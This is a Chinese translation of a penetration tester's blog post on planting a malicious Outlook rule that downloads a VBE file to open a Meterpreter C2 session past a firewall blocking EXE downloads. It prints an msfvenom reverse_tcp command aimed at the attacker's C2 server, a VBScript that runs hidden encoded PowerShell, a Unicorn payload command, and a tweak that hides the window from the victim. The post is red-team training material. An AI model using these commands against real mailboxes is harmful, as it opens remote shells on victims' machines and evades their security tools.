无需EXE文件:利用恶意Outlook规则实现C2通信

本文详细介绍了如何在不使用EXE文件的情况下,通过创建恶意Outlook规则来绕过防火墙限制,实现命令与控制(C2)会话。文章探讨了利用VBE文件执行PowerShell命令的技术细节,并提供了具体的代码示例和工具使用方法。

恶意Outlook规则无需EXE文件

Carrie Roberts //
** advisory:** 本博文中引用的技术和工具可能已过时,不适用于当前情况。然而,这篇博文仍有可能作为学习的机会,并可能更新或集成到现代工具和技术中。

我目前最喜欢的漏洞利用方法是创建恶意Outlook规则,如本文所述。该规则配置为在收到具有特定主题行的电子邮件时下载带有EXE扩展名(.exe)的可执行文件。该可执行文件与攻击者的服务器建立命令和控制(C2)会话。

在最近的一次评估中,我遇到了一个情况:我正在测试的客户网络有防火墙规则,不允许下载任何带有EXE扩展名的文件。当Outlook规则触发时,用户会看到以下错误,并且没有建立C2会话。

我发现下载带有.ps1扩展名的PowerShell文件是被允许的,但当规则触发时,脚本只是在文本编辑器中打开,而不是执行。我访问了这个网站,以审查其他可能被允许下载并自动执行的Windows可执行扩展名。我发现下载HTA、BAT、VB、VBS和VBSCRIPT文件也被阻止……但VBE文件是被允许的。

克服了一个障碍后,我继续使用msfvenom工具生成一个Visual Basic脚本来建立C2连接,如下所示:

1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<我的C2服务器IP> LPORT=443 -f vbs

不幸的是,这被Symantec EndPoint Protection捕获并阻止在目标上运行。相反,我手动创建了脚本,使用两行代码,类似于以下内容:

1
2
Set objShell = CreateObject("Wscript.shell")
objShell.run("powershell -window hidden -EncodedCommand JA<..snip..>A=")

请注意,为了简洁起见,上述代码中的编码命令已被缩短(“截断”)。

第二行代码中显示的PowerShell命令是由Unicorn工具使用以下命令生成的。(参见 https://github.com/trustedsec/unicorn

1
./unicorn.py windows/meterpreter/reverse_tcp <我的C2服务器IP> 443

所提出的VBE方法的一个缺点是,它在执行时会弹出一个命令窗口一瞬间,这可能会提醒受害者刚刚发生了可疑的事情。让我们调整脚本的第二行,传入第二个参数“0”。这指示脚本隐藏窗口。奇怪的是,你必须从方法调用中移除周围的括号才能添加此参数。新的改进版VB脚本如下所示。

1
2
Set objShell = CreateObject("Wscript.shell")
objShell.run "powershell -window hidden -EncodedCommand JA<..snip..>A=",0

就这样,我现在可以通过向目标发送电子邮件来建立C2会话,而不需要EXE文件通过防火墙。


有关创建恶意Outlook规则的详细说明,请参见这篇文章。


这也将在我们即将安排的Sacred Cash Cow Tipping网络研讨会中涵盖!!请关注Twitter以获取更多详情。

您可以从Carrie的课程中学到更多! 在这里查看它们: 攻击模拟工具:Atomic Red Team、CALDERA等
PowerShell for InfoSec
提供实时/虚拟和点播!


评论

Jhani
January 10, 2017 @ 8:30 am
防火墙供应商是什么(设备还是基于主机的防火墙)?

Carrie Roberts
January 11, 2017 @ 3:35 pm
据报告是Fortigate IPS模块。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计